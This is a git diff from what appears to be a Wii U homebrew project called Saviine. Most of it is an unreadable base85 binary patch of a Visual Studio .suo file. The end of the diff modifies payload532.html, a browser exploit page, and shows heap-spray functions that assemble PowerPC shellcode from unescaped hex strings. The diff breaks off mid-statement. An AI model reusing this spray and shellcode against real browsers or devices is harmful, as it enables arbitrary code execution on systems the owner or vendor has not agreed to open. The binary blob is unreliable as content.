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 S?6?Pxd*HYSj(Z@B2mU|$E5bkk diff --git a/saviine/server/src/saviine_server.v12.suo b/saviine/server/src/saviine_server.v12.suo index 59e1a3f94ffeebdaca86697397a43681faac9727..e128af79963ae85812c4be605f4a55350ee50e8b 100644 GIT binary patch literal 24576 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 diff --git a/www/saviine/payload532.html b/www/saviine/payload532.html index 442d1e3..309727d 100644 --- a/www/saviine/payload532.html +++ b/www/saviine/payload532.html @@ -55,37 +55,37 @@ function sprayInc(n) { } function sprayCode(n) { - var str = unescape("%ucafe%ucafe%u9421%ufe90%u7c08%u02a6%u9001%u0174%u93e1%u016c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u395f%u0030%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1cdc%u7d44%u5378%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u811f%u0030%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1cec%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378"); - str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1cf4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1d04%u7d46%u5378%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u813f%u0034%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d1c%u7d29%u03a6%u4e80%u0421%u813f%u0038%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180"); - str += unescape("%u386a%u1d38%u7d29%u03a6%u4e80%u0421%u813f%u003c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d58%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3c60%ua000%u7d29%u03a6%u4e80%u0421"); - str += 